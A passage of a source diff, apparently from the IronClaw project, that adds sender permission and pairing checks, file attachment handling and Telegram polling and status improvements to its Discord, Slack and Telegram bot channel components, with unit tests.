serde_json::to_string(&config.allow_from.unwrap_or_default()) + .unwrap_or_else(|_| "[]".to_string()); + let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json); + Ok(ChannelConfig { display_name: "Discord".to_string(), http_endpoints: vec![HttpEndpointConfig { @@ -169,16 +214,21 @@ impl Guest for DiscordChannel { // Application Command (slash command) 2 => { - handle_slash_command(&interaction); - json_response( - 200, - serde_json::json!({ - "type": 5, - "data": { - "content": "🤔 Thinking..." - } - }), - ) + if handle_slash_command(&interaction) { + json_response(200, serde_json::json!({"type": 5})) + } else { + // Permission denied — ephemeral response + json_response( + 200, + serde_json::json!({ + "type": 4, + "data": { + "content": "You are not authorized to use this bot.", + "flags": 64 + } + }), + ) + } } // Message Component (buttons, selects) @@ -262,6 +312,10 @@ impl Guest for DiscordChannel { fn on_status(_update: StatusUpdate) {} + fn on_broadcast(_user_id: String, _response: AgentResponse) -> Result<(), String> { + Err("broadcast not yet implemented for Discord channel".to_string()) + } + fn on_shutdown() { channel_host::log( channel_host::LogLevel::Info, @@ -270,7 +324,8 @@ impl Guest for DiscordChannel { } } -fn handle_slash_command(interaction: &DiscordInteraction) { +/// Returns true if the message was emitted, false if permission denied. +fn handle_slash_command(interaction: &DiscordInteraction) -> bool { let user = interaction .member .as_ref() @@ -287,6 +342,22 @@ fn handle_slash_command(interaction: &DiscordInteraction) { }) .unwrap_or_default(); + // DM if no guild member context (only direct user field set) + let is_dm = interaction.member.is_none(); + + // Permission check + if !check_sender_permission( + &user_id, + Some(&user_name), + is_dm, + Some(&PairingReplyCtx { + application_id: interaction.application_id.clone(), + token: interaction.token.clone(), + }), + ) { + return false; + } + let channel_id = interaction.channel_id.clone().unwrap_or_default(); let command_name = interaction @@ -322,14 +393,13 @@ fn handle_slash_command(interaction: &DiscordInteraction) { channel_host::LogLevel::Error, &format!("Failed to serialize metadata: {}", e), ); - // Attempt to notify user of internal error let url = format!( "https://discord.com/api/v10/webhooks/{}/{}", interaction.application_id, interaction.token ); let payload = serde_json::json!({ "content": "❌ Internal Error: Failed to process command metadata.", - "flags": 64 // Ephemeral + "flags": 64 }); let _ = channel_host::http_request( "POST", @@ -338,7 +408,7 @@ fn handle_slash_command(interaction: &DiscordInteraction) { Some(&serde_json::to_vec(&payload).unwrap_or_default()), None, ); - return; + return true; // Error, but not a permission denial } }; @@ -348,11 +418,12 @@ fn handle_slash_command(interaction: &DiscordInteraction) { content, thread_id: None, metadata_json, + attachments: vec![], }); + true } fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordMessage) { - // Check member first (for server contexts), then user (for DMs) let user = interaction .member .as_ref() @@ -369,6 +440,11 @@ fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordM }) .unwrap_or_default(); + let is_dm = interaction.member.is_none(); + if !check_sender_permission(&user_id, Some(&user_name), is_dm, None) { + return; + } + let channel_id = message.channel_id.clone(); let metadata = DiscordMessageMetadata { @@ -396,9 +472,149 @@ fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordM content: format!("[Button clicked] {}", message.content), thread_id: None, metadata_json, + attachments: vec![], }); } +// ============================================================================ +// Permission & Pairing +// ============================================================================ + +/// Context needed to send a pairing reply via Discord webhook followup. +struct PairingReplyCtx { + application_id: String, + token: String, +} + +/// Check if a sender is permitted to interact with the bot. +/// Returns true if allowed, false if denied (pairing reply sent if applicable). +fn check_sender_permission( + user_id: &str, + username: Option<&str>, + is_dm: bool, + reply_ctx: Option<&PairingReplyCtx>, +) -> bool { + // 1. Owner check (highest priority, applies to all contexts) + let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty()); + if let Some(ref owner) = owner_id { + if user_id != owner { + channel_host::log( + channel_host::LogLevel::Debug, + &format!( + "Dropping interaction from non-owner user {} (owner: {})", + user_id, owner + ), + ); + return false; + } + return true; + } + + // 2. DM policy (only for DMs when no owner_id) + if !is_dm { + return true; // Guild interactions bypass DM policy + } + + let dm_policy = + channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string()); + + if dm_policy == "open" { + return true; + } + + // 3. Build merged allow list: config allow_from + pairing store + let mut allowed: Vec = channel_host::workspace_read(ALLOW_FROM_PATH) + .and_then(|s| serde_json::from_str(&s).ok()) + .unwrap_or_default(); + + if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) { + allowed.extend(store_allowed); + } + + // 4. Check sender against allow list + let is_allowed = allowed.contains(&"*".to_string()) + || allowed.contains(&user_id.to_string()) + || username.is_some_and(|u| allowed.contains(&u.to_string())); + + if is_allowed { + return true; + } + + // 5. Not allowed — handle by policy + if dm_policy == "pairing" { + let meta = serde_json::json!({ + "user_id": user_id, + "username": username, + }) + .to_string(); + + match channel_host::pairing_upsert_request(CHANNEL_NAME, user_id, &meta) { + Ok(result) => { + channel_host::log( + channel_host::LogLevel::Info, + &format!( + "Pairing request for user {}: code {}", + user_id, result.code + ), + ); + if result.created { + if let Some(ctx) = reply_ctx { + let _ = send_pairing_reply(ctx, &result.code); + } + } + } + Err(e) => { + channel_host::log( + channel_host::LogLevel::Error, + &format!("Pairing upsert failed: {}", e), + ); + } + } + } + false +} + +/// Send a pairing code as an ephemeral Discord followup message. +fn send_pairing_reply(ctx: &PairingReplyCtx, code: &str) -> Result<(), String> { + let url = format!( + "https://discord.com/api/v10/webhooks/{}/{}", + ctx.application_id, ctx.token + ); + + let payload = serde_json::json!({ + "content": format!( + "To pair with this bot, run: `ironclaw pairing approve discord {}`", + code + ), + "flags": 64 // Ephemeral — only visible to the sender + }); + + let payload_bytes = + serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?; + + let headers = serde_json::json!({"Content-Type": "application/json"}); + + let result = channel_host::http_request( + "POST", + &url, + &headers.to_string(), + Some(&payload_bytes), + None, + ); + + match result { + Ok(response) if response.status >= 200 && response.status < 300 => Ok(()), + Ok(response) => { + let body_str = String::from_utf8_lossy(&response.body); + Err(format!( + "Discord API error: {} - {}", + response.status, body_str + )) + } + Err(e) => Err(format!("HTTP request failed: {}", e)), + } +} + fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse { let body = serde_json::to_vec(&value).unwrap_or_default(); let headers = serde_json::json!({"Content-Type": "application/json"}); @@ -473,4 +689,34 @@ mod tests { assert_eq!(parsed.channel_id, "123"); assert_eq!(parsed.interaction_id, "456"); } + + #[test] + fn test_parse_slash_command_interaction() { + // Verify that a slash command interaction deserializes correctly. + let json = r#"{ + "type": 2, + "id": "int_1", + "application_id": "app_1", + "channel_id": "ch_1", + "member": { + "user": { + "id": "user_1", + "username": "testuser", + "global_name": "Test User" + } + }, + "data": { + "id": "cmd_1", + "name": "ask", + "options": [ + {"name": "question", "value": "What is rust?"} + ] + }, + "token": "token_abc" + }"#; + + let interaction: DiscordInteraction = serde_json::from_str(json).unwrap(); + assert_eq!(interaction.interaction_type, 2); + assert!(interaction.data.is_some()); + } } diff --git a/channels-src/slack/Cargo.toml b/channels-src/slack/Cargo.toml index 18d2fd39..bc8c7434 100644 --- a/channels-src/slack/Cargo.toml +++ b/channels-src/slack/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "slack-channel" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Slack Events API channel for IronClaw" license = "MIT OR Apache-2.0" @@ -27,3 +27,5 @@ opt-level = "s" lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/channels-src/slack/slack.capabilities.json b/channels-src/slack/slack.capabilities.json index 2b8070ff..7035d925 100644 --- a/channels-src/slack/slack.capabilities.json +++ b/channels-src/slack/slack.capabilities.json @@ -1,7 +1,24 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "type": "channel", "name": "slack", "description": "Slack Events API channel for receiving and responding to Slack messages", + "setup": { + "required_secrets": [ + { + "name": "slack_bot_token", + "prompt": "Enter your Slack Bot User OAuth Token (starts with xoxb-). Find it under OAuth & Permissions in your Slack App settings.", + "optional": false + }, + { + "name": "slack_signing_secret", + "prompt": "Enter your Slack App Signing Secret (found under Basic Information > App Credentials in your Slack App settings).", + "optional": false + } + ], + "setup_url": "https://api.slack.com/apps" + }, "capabilities": { "http": { "allowlist": [ @@ -29,10 +46,16 @@ "emit_rate_limit": { "messages_per_minute": 100, "messages_per_hour": 5000 + }, + "webhook": { + "hmac_secret_name": "slack_signing_secret" } } }, "config": { - "signing_secret_name": "slack_signing_secret" + "signing_secret_name": "slack_signing_secret", + "owner_id": null, + "dm_policy": "pairing", + "allow_from": [] } } diff --git a/channels-src/slack/src/lib.rs b/channels-src/slack/src/lib.rs index e4f47692..71f1e731 100644 --- a/channels-src/slack/src/lib.rs +++ b/channels-src/slack/src/lib.rs @@ -29,7 +29,7 @@ use exports::near::agent::channel::{ AgentResponse, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest, OutgoingHttpResponse, StatusUpdate, }; -use near::agent::channel_host::{self, EmittedMessage}; +use near::agent::channel_host::{self, EmittedMessage, InboundAttachment}; /// Slack event wrapper. #[derive(Debug, Deserialize)] @@ -78,6 +78,25 @@ struct SlackEvent { /// Subtype (bot_message, etc.) subtype: Option, + + /// File attachments shared in the message. + #[serde(default)] + files: Option>, +} + +/// Slack file attachment. +#[derive(Debug, Deserialize)] +struct SlackFile { + /// File ID. + id: String, + /// MIME type. + mimetype: Option, + /// Original filename. + name: Option, + /// File size in bytes. + size: Option, + /// URL to download the file (requires auth). + url_private: Option, } /// Metadata stored with emitted messages for response routing. @@ -104,15 +123,31 @@ struct SlackPostMessageResponse { ts: Option, } +/// Workspace path for persisting owner_id across WASM callbacks. +const OWNER_ID_PATH: &str = "state/owner_id"; +/// Workspace path for persisting dm_policy across WASM callbacks. +const DM_POLICY_PATH: &str = "state/dm_policy"; +/// Workspace path for persisting allow_from (JSON array) across WASM callbacks. +const ALLOW_FROM_PATH: &str = "state/allow_from"; +/// Channel name for pairing store (used by pairing host APIs). +const CHANNEL_NAME: &str = "slack"; + /// Channel configuration from capabilities file. #[derive(Debug, Deserialize)] struct SlackConfig { /// Name of secret containing signing secret (for verification by host). - /// Parsed from config for forward compatibility; not yet used in WASM - /// (host handles signature verification). #[serde(default = "default_signing_secret_name")] #[allow(dead_code)] signing_secret_name: String, + + #[serde(default)] + owner_id: Option, + + #[serde(default)] + dm_policy: Option, + + #[serde(default)] + allow_from: Option>, } fn default_signing_secret_name() -> String { @@ -123,12 +158,30 @@ struct SlackChannel; impl Guest for SlackChannel { fn on_start(config_json: String) -> Result { - // Parse configuration - let _config: SlackConfig = serde_json::from_str(&config_json) + let config: SlackConfig = serde_json::from_str(&config_json) .map_err(|e| format!("Failed to parse config: {}", e))?; channel_host::log(channel_host::LogLevel::Info, "Slack channel starting"); + // Persist owner_id so subsequent callbacks can read it + if let Some(ref owner_id) = config.owner_id { + let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id); + channel_host::log( + channel_host::LogLevel::Info, + &format!("Owner restriction enabled: user {}", owner_id), + ); + } else { + let _ = channel_host::workspace_write(OWNER_ID_PATH, ""); + } + + // Persist dm_policy and allow_from for DM pairing + let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing"); + let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy); + + let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default()) + .unwrap_or_else(|_| "[]".to_string()); + let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json); + Ok(ChannelConfig { display_name: "Slack".to_string(), http_endpoints: vec![HttpEndpointConfig { @@ -136,7 +189,7 @@ impl Guest for SlackChannel { methods: vec!["POST".to_string()], require_secret: true, }], - poll: None, // Slack uses push via webhooks, no polling needed + poll: None, }) } @@ -272,15 +325,44 @@ impl Guest for SlackChannel { fn on_status(_update: StatusUpdate) {} + fn on_broadcast(_user_id: String, _response: AgentResponse) -> Result<(), String> { + Err("broadcast not yet implemented for Slack channel".to_string()) + } + fn on_shutdown() { channel_host::log(channel_host::LogLevel::Info, "Slack channel shutting down"); } } +/// Extract attachments from Slack file objects. +fn extract_slack_attachments(files: &Option>) -> Vec { + let Some(files) = files else { + return Vec::new(); + }; + files + .iter() + .map(|f| InboundAttachment { + id: f.id.clone(), + mime_type: f + .mimetype + .clone() + .unwrap_or_else(|| "application/octet-stream".to_string()), + filename: f.name.clone(), + size_bytes: f.size, + source_url: f.url_private.clone(), + storage_key: None, + extracted_text: None, + extras_json: String::new(), + }) + .collect() +} + /// Handle a Slack event and emit message if applicable. fn handle_slack_event(event: SlackEvent, team_id: Option, _event_id: Option) { + let attachments = extract_slack_attachments(&event.files); + match event.event_type.as_str() { - // Direct mention of the bot + // Direct mention of the bot (always in a channel, not a DM) "app_mention" => { if let (Some(user), Some(channel), Some(text), Some(ts)) = ( event.user, @@ -288,7 +370,18 @@ fn handle_slack_event(event: SlackEvent, team_id: Option, _event_id: Opt event.text, event.ts.clone(), ) { - emit_message(user, text, channel, event.thread_ts.or(Some(ts)), team_id); + // app_mention is always in a channel (not DM) + if !check_sender_permission(&user, &channel, false) { + return; + } + emit_message( + user, + text, + channel, + event.thread_ts.or(Some(ts)), + team_id, + attachments, + ); } } @@ -307,7 +400,17 @@ fn handle_slack_event(event: SlackEvent, team_id: Option, _event_id: Opt ) { // Only process DMs (channel IDs starting with D) if channel.starts_with('D') { - emit_message(user, text, channel, event.thread_ts.or(Some(ts)), team_id); + if !check_sender_permission(&user, &channel, true) { + return; + } + emit_message( + user, + text, + channel, + event.thread_ts.or(Some(ts)), + team_id, + attachments, + ); } } } @@ -328,6 +431,7 @@ fn emit_message( channel: String, thread_ts: Option, team_id: Option, + attachments: Vec, ) { let message_ts = thread_ts.clone().unwrap_or_default(); @@ -355,9 +459,130 @@ fn emit_message( content: cleaned_text, thread_id: thread_ts, metadata_json, + attachments, }); } +// ============================================================================ +// Permission & Pairing +// ============================================================================ + +/// Check if a sender is permitted. Returns true if allowed. +/// For pairing mode, sends a pairing code DM if denied. +fn check_sender_permission(user_id: &str, channel_id: &str, is_dm: bool) -> bool { + // 1. Owner check (highest priority, applies to all contexts) + let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty()); + if let Some(ref owner) = owner_id { + if user_id != owner { + channel_host::log( + channel_host::LogLevel::Debug, + &format!( + "Dropping message from non-owner user {} (owner: {})", + user_id, owner + ), + ); + return false; + } + return true; + } + + // 2. DM policy (only for DMs when no owner_id) + if !is_dm { + return true; // Channel messages bypass DM policy + } + + let dm_policy = + channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string()); + + if dm_policy == "open" { + return true; + } + + // 3. Build merged allow list: config allow_from + pairing store + let mut allowed: Vec = channel_host::workspace_read(ALLOW_FROM_PATH) + .and_then(|s| serde_json::from_str(&s).ok()) + .unwrap_or_default(); + + if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) { + allowed.extend(store_allowed); + } + + // 4. Check sender (Slack events only have user ID, not username) + let is_allowed = + allowed.contains(&"*".to_string()) || allowed.contains(&user_id.to_string()); + + if is_allowed { + return true; + } + + // 5. Not allowed — handle by policy + if dm_policy == "pairing" { + let meta = serde_json::json!({ + "user_id": user_id, + "channel_id": channel_id, + }) + .to_string(); + + match channel_host::pairing_upsert_request(CHANNEL_NAME, user_id, &meta) { + Ok(result) => { + channel_host::log( + channel_host::LogLevel::Info, + &format!( + "Pairing request for user {}: code {}", + user_id, result.code + ), + ); + if result.created { + let _ = send_pairing_reply(channel_id, &result.code); + } + } + Err(e) => { + channel_host::log( + channel_host::LogLevel::Error, + &format!("Pairing upsert failed: {}", e), + ); + } + } + } + false +} + +/// Send a pairing code message via Slack chat.postMessage. +fn send_pairing_reply(channel_id: &str, code: &str) -> Result<(), String> { + let payload = serde_json::json!({ + "channel": channel_id, + "text": format!( + "To pair with this bot, run: `ironclaw pairing approve slack {}`", + code + ), + }); + + let payload_bytes = + serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?; + + let headers = serde_json::json!({"Content-Type": "application/json"}); + + let result = channel_host::http_request( + "POST", + "https://slack.com/api/chat.postMessage", + &headers.to_string(), + Some(&payload_bytes), + None, + ); + + match result { + Ok(response) if response.status == 200 => Ok(()), + Ok(response) => { + let body_str = String::from_utf8_lossy(&response.body); + Err(format!( + "Slack API error: {} - {}", + response.status, body_str + )) + } + Err(e) => Err(format!("HTTP request failed: {}", e)), + } +} + /// Strip leading bot mention from text. fn strip_bot_mention(text: &str) -> String { // Slack mentions look like <@U12345678> @@ -390,3 +615,111 @@ fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse // Export the component export!(SlackChannel); + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_extract_slack_attachments_with_files() { + let files = Some(vec![ + SlackFile { + id: "F123".to_string(), + mimetype: Some("image/png".to_string()), + name: Some("screenshot.png".to_string()), + size: Some(50000), + url_private: Some("https://files.slack.com/F123".to_string()), + }, + SlackFile { + id: "F456".to_string(), + mimetype: Some("application/pdf".to_string()), + name: Some("doc.pdf".to_string()), + size: Some(120000), + url_private: None, + }, + ]); + + let attachments = extract_slack_attachments(&files); + assert_eq!(attachments.len(), 2); + + assert_eq!(attachments[0].id, "F123"); + assert_eq!(attachments[0].mime_type, "image/png"); + assert_eq!(attachments[0].filename, Some("screenshot.png".to_string())); + assert_eq!(attachments[0].size_bytes, Some(50000)); + assert_eq!( + attachments[0].source_url, + Some("https://files.slack.com/F123".to_string()) + ); + + assert_eq!(attachments[1].id, "F456"); + assert_eq!(attachments[1].mime_type, "application/pdf"); + assert!(attachments[1].source_url.is_none()); + } + + #[test] + fn test_extract_slack_attachments_none() { + let attachments = extract_slack_attachments(&None); + assert!(attachments.is_empty()); + } + + #[test] + fn test_extract_slack_attachments_empty() { + let attachments = extract_slack_attachments(&Some(vec![])); + assert!(attachments.is_empty()); + } + + #[test] + fn test_extract_slack_attachments_missing_mime() { + let files = Some(vec![SlackFile { + id: "F789".to_string(), + mimetype: None, + name: Some("unknown".to_string()), + size: None, + url_private: None, + }]); + + let attachments = extract_slack_attachments(&files); + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].mime_type, "application/octet-stream"); + } + + #[test] + fn test_parse_slack_event_with_files() { + let json = r#"{ + "type": "message", + "user": "U123", + "channel": "D456", + "text": "Check this file", + "ts": "1234567890.000001", + "files": [ + { + "id": "F001", + "mimetype": "image/jpeg", + "name": "photo.jpg", + "size": 30000, + "url_private": "https://files.slack.com/F001" + } + ] + }"#; + + let event: SlackEvent = serde_json::from_str(json).unwrap(); + assert!(event.files.is_some()); + let files = event.files.unwrap(); + assert_eq!(files.len(), 1); + assert_eq!(files[0].id, "F001"); + } + + #[test] + fn test_parse_slack_event_without_files() { + let json = r#"{ + "type": "message", + "user": "U123", + "channel": "D456", + "text": "Just text", + "ts": "1234567890.000001" + }"#; + + let event: SlackEvent = serde_json::from_str(json).unwrap(); + assert!(event.files.is_none()); + } +} diff --git a/channels-src/telegram/Cargo.lock b/channels-src/telegram/Cargo.lock index a6e5c3ac..67c27867 100644 --- a/channels-src/telegram/Cargo.lock +++ b/channels-src/telegram/Cargo.lock @@ -212,7 +212,7 @@ dependencies = [ [[package]] name = "telegram-channel" -version = "0.1.0" +version = "0.2.0" dependencies = [ "serde", "serde_json", diff --git a/channels-src/telegram/Cargo.toml b/channels-src/telegram/Cargo.toml index 855aa8fa..93a1eb57 100644 --- a/channels-src/telegram/Cargo.toml +++ b/channels-src/telegram/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "telegram-channel" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Telegram Bot API channel for IronClaw" license = "MIT OR Apache-2.0" @@ -16,9 +16,13 @@ wit-bindgen = "0.36" serde = { version = "1.0", features = ["derive"] } serde_json = "1.0" +# Exclude from parent workspace (this is a standalone WASM component) + [profile.release] # Optimize for size opt-level = "s" lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/channels-src/telegram/src/lib.rs b/channels-src/telegram/src/lib.rs index a7f7f5cb..c3ab9050 100644 --- a/channels-src/telegram/src/lib.rs +++ b/channels-src/telegram/src/lib.rs @@ -30,10 +30,10 @@ use serde::{Deserialize, Serialize}; // Re-export generated types use exports::near::agent::channel::{ - AgentResponse, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest, + AgentResponse, Attachment, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest, OutgoingHttpResponse, PollConfig, StatusType, StatusUpdate, }; -use near::agent::channel_host::{self, EmittedMessage}; +use near::agent::channel_host::{self, EmittedMessage, InboundAttachment}; // ============================================================================ // Telegram API Types @@ -81,6 +81,87 @@ struct TelegramMessage { /// Bot command entities (for /commands). entities: Option>, + + /// Photo sizes (Telegram sends multiple sizes; last is largest). + #[serde(default)] + photo: Option>, + + /// Document attachment. + document: Option, + + /// Audio attachment. + audio: Option, + + /// Video attachment. + video: Option, + + /// Voice message. + voice: Option, + + /// Sticker. + sticker: Option, +} + +/// Telegram PhotoSize object. +#[derive(Debug, Deserialize)] +struct PhotoSize { + file_id: String, + file_unique_id: String, + width: i32, + height: i32, + file_size: Option, +} + +/// Telegram Document object. +#[derive(Debug, Deserialize)] +struct TelegramDocument { + file_id: String, + file_unique_id: String, + file_name: Option, + mime_type: Option, + file_size: Option, +} + +/// Telegram Audio object. +#[derive(Debug, Deserialize)] +struct TelegramAudio { + file_id: String, + file_unique_id: String, + duration: Option, + file_name: Option, + mime_type: Option, + file_size: Option, +} + +/// Telegram Video object. +#[derive(Debug, Deserialize)] +struct TelegramVideo { + file_id: String, + file_unique_id: String, + duration: Option, + file_name: Option, + mime_type: Option, + file_size: Option, +} + +/// Telegram Voice message object. +#[derive(Debug, Deserialize)] +struct TelegramVoice { + file_id: String, + file_unique_id: String, + duration: u32, + mime_type: Option, + file_size: Option, +} + +/// Telegram Sticker object. +#[derive(Debug, Deserialize)] +struct TelegramSticker { + file_id: String, + file_unique_id: String, + #[serde(rename = "type")] + sticker_type: Option, + file_size: Option, } /// Telegram User object. @@ -139,6 +220,18 @@ struct MessageEntity { user: Option, } +/// Telegram File object returned by getFile. +/// https://core.telegram.org/bots/api#file +#[derive(Debug, Deserialize)] +struct TelegramFile { + /// Identifier for this file. + #[allow(dead_code)] + file_id: String, + + /// File path for downloading. Use https://api.telegram.org/file/bot/. + file_path: Option, +} + /// Telegram API response wrapper. #[derive(Debug, Deserialize)] struct TelegramApiResponse { @@ -236,6 +329,10 @@ struct TelegramConfig { /// Telegram will include this in the X-Telegram-Bot-Api-Secret-Token header. #[serde(default)] webhook_secret: Option, + + /// When true, use polling mode even if tunnel_url is available. + #[serde(default)] + polling_enabled: bool, } // ============================================================================ @@ -244,6 +341,67 @@ struct TelegramConfig { struct TelegramChannel; +#[derive(Debug, Clone, PartialEq, Eq)] +enum TelegramStatusAction { + Typing, + Notify(String), +} + +const TELEGRAM_STATUS_MAX_CHARS: usize = 600; + +fn truncate_status_message(input: &str, max_chars: usize) -> String { + let mut iter = input.chars(); + let truncated: String = iter.by_ref().take(max_chars).collect(); + if iter.next().is_some() { + format!("{}...", truncated) + } else { + truncated + } +} + +fn status_message_for_user(update: &StatusUpdate) -> Option { + let message = update.message.trim(); + if message.is_empty() { + None + } else { + Some(truncate_status_message(message, TELEGRAM_STATUS_MAX_CHARS)) + } +} + +fn get_updates_url(offset: i64, timeout_secs: u32) -> String { + format!( + "https://api.telegram.org/bot{{TELEGRAM_BOT_TOKEN}}/getUpdates?offset={}&timeout={}&allowed_updates=[\"message\",\"edited_message\"]", + offset, timeout_secs + ) +} + +fn classify_status_update(update: &StatusUpdate) -> Option { + match update.status { + StatusType::Thinking => Some(TelegramStatusAction::Typing), + StatusType::Done | StatusType::Interrupted => None, + // Tool telemetry can be noisy in chat; keep it as typing-only UX. + StatusType::ToolStarted | StatusType::ToolCompleted | StatusType::ToolResult => None, + StatusType::Status => { + let msg = update.message.trim(); + if msg.eq_ignore_ascii_case("Done") + || msg.eq_ignore_ascii_case("Interrupted") + || msg.eq_ignore_ascii_case("Awaiting approval") + || msg.eq_ignore_ascii_case("Rejected") + { + None + } else { + status_message_for_user(update).map(TelegramStatusAction::Notify) + } + } + StatusType::ApprovalNeeded + | StatusType::JobStarted + | StatusType::AuthRequired + | StatusType::AuthCompleted => { + status_message_for_user(update).map(TelegramStatusAction::Notify) + } + } +} + impl Guest for TelegramChannel { fn on_start(config_json: String) -> Result { channel_host::log( @@ -302,9 +460,8 @@ impl Guest for TelegramChannel { &config.respond_to_all_group_messages.to_string(), ); - // Mode is determined by whether the host injected a tunnel_url - // If tunnel is configured, use webhooks. Otherwise, use polling. - let webhook_mode = config.tunnel_url.is_some(); + // Mode: use polling if explicitly enabled, otherwise use webhooks when tunnel available. + let webhook_mode = config.tunnel_url.is_some() && !config.polling_enabled; if webhook_mode { channel_host::log( @@ -312,19 +469,19 @@ impl Guest for TelegramChannel { "Webhook mode enabled (tunnel configured)", ); - // Register webhook with Telegram API + // Register webhook with Telegram API — propagate errors so a bad token + // causes activation to fail rather than silently succeeding. if let Some(ref tunnel_url) = config.tunnel_url { + // Clear any stale webhook first to avoid 409 Conflict + let _ = delete_webhook(); + channel_host::log( channel_host::LogLevel::Info, &format!("Registering webhook: {}/webhook/telegram", tunnel_url), ); - if let Err(e) = register_webhook(tunnel_url, config.webhook_secret.as_deref()) { - channel_host::log( - channel_host::LogLevel::Error, - &format!("Failed to register webhook: {}", e), - ); - } + register_webhook(tunnel_url, config.webhook_secret.as_deref()) + .map_err(|e| format!("Failed to register webhook: {}", e))?; } } else { channel_host::log( @@ -332,14 +489,10 @@ impl Guest for TelegramChannel { "Polling mode enabled (no tunnel configured)", ); - // Delete any existing webhook before polling - // Telegram doesn't allow getUpdates while a webhook is active - if let Err(e) = delete_webhook() { - channel_host::log( - channel_host::LogLevel::Warn, - &format!("Failed to delete webhook (may not exist): {}", e), - ); - } + // Delete any existing webhook before polling. Telegram returns success + // when no webhook exists, so any error here (e.g. 401) means a bad token. + delete_webhook() + .map_err(|e| format!("Bot token validation failed: {}", e))?; } // Configure polling only if not in webhook mode @@ -422,20 +575,36 @@ impl Guest for TelegramChannel { &format!("Polling getUpdates with offset {}", offset), ); - // Build getUpdates URL with parameters - // - offset: Identifier of the first update to be returned - // - timeout: Long polling timeout in seconds (Telegram recommends 30+) - // - allowed_updates: Only get message updates - let url = format!( - "https://api.telegram.org/bot{{TELEGRAM_BOT_TOKEN}}/getUpdates?offset={}&timeout=30&allowed_updates=[\"message\",\"edited_message\"]", - offset - ); + let headers_json = serde_json::json!({}).to_string(); + let primary_url = get_updates_url(offset, 25); - let headers = serde_json::json!({}); + // 35s HTTP timeout outlives Telegram's 30s server-side long-poll. + // If the TCP connection drops, retry once immediately with a short poll + // so we don't wait a full extra tick (~30s) before delivering updates. + let result = match channel_host::http_request( + "GET", + &primary_url, + &headers_json, + None, + Some(35_000), + ) { + Ok(response) => Ok(response), + Err(primary_err) => { + channel_host::log( + channel_host::LogLevel::Warn, + &format!( + "getUpdates request failed ({}), retrying once immediately", + primary_err + ), + ); - // 35s HTTP timeout outlives Telegram's 30s server-side long-poll - let result = - channel_host::http_request("GET", &url, &headers.to_string(), None, Some(35_000)); + let retry_url = get_updates_url(offset, 3); + channel_host::http_request("GET", &retry_url, &headers_json, None, Some(8_000)) + .map_err(|retry_err| { + format!("primary error: {}; retry error: {}", primary_err, retry_err) + }) + } + }; match result { Ok(response) => { @@ -511,57 +680,22 @@ impl Guest for TelegramChannel { let metadata: TelegramMessageMetadata = serde_json::from_str(&response.metadata_json) .map_err(|e| format!("Failed to parse metadata: {}", e))?; - // Try sending with Markdown first; fall back to plain text if Telegram - // can't parse the entities (e.g. model leaked with underscores). - let result = send_message( - metadata.chat_id, - &response.content, - metadata.message_id, - Some("Markdown"), - ); + send_response(metadata.chat_id, &response, Some(metadata.message_id)) + } - match result { - Ok(msg_id) => { - channel_host::log( - channel_host::LogLevel::Debug, - &format!( - "Sent message to chat {}: message_id={}", - metadata.chat_id, msg_id - ), - ); - Ok(()) - } - Err(SendError::ParseEntities(detail)) => { - channel_host::log( - channel_host::LogLevel::Warn, - &format!("Markdown parse failed ({}), retrying as plain text", detail), - ); - let msg_id = send_message( - metadata.chat_id, - &response.content, - metadata.message_id, - None, - ) - .map_err(|e| format!("Plain-text retry also failed: {}", e))?; + fn on_broadcast(user_id: String, response: AgentResponse) -> Result<(), String> { + let chat_id: i64 = user_id + .parse() + .map_err(|e| format!("Invalid chat_id '{}': {}", user_id, e))?; - channel_host::log( - channel_host::LogLevel::Debug, - &format!( - "Sent plain-text message to chat {}: message_id={}", - metadata.chat_id, msg_id - ), - ); - Ok(()) - } - Err(e) => Err(e.to_string()), - } + send_response(chat_id, &response, None) } fn on_status(update: StatusUpdate) { - // Only send typing indicator for Thinking status - if !matches!(update.status, StatusType::Thinking) { - return; - } + let action = match classify_status_update(&update) { + Some(action) => action, + None => return, + }; // Parse chat_id from metadata let metadata: TelegramMessageMetadata = match serde_json::from_str(&update.metadata_json) { @@ -569,40 +703,68 @@ impl Guest for TelegramChannel { Err(_) => { channel_host::log( channel_host::LogLevel::Debug, - "on_status: no valid Telegram metadata, skipping typing indicator", + "on_status: no valid Telegram metadata, skipping status update", ); return; } }; - // POST /sendChatAction with action "typing" - let payload = serde_json::json!({ - "chat_id": metadata.chat_id, - "action": "typing" - }); + match action { + TelegramStatusAction::Typing => { + // POST /sendChatAction with action "typing" + let payload = serde_json::json!({ + "chat_id": metadata.chat_id, + "action": "typing" + }); - let payload_bytes = match serde_json::to_vec(&payload) { - Ok(b) => b, - Err(_) => return, - }; + let payload_bytes = match serde_json::to_vec(&payload) { + Ok(b) => b, 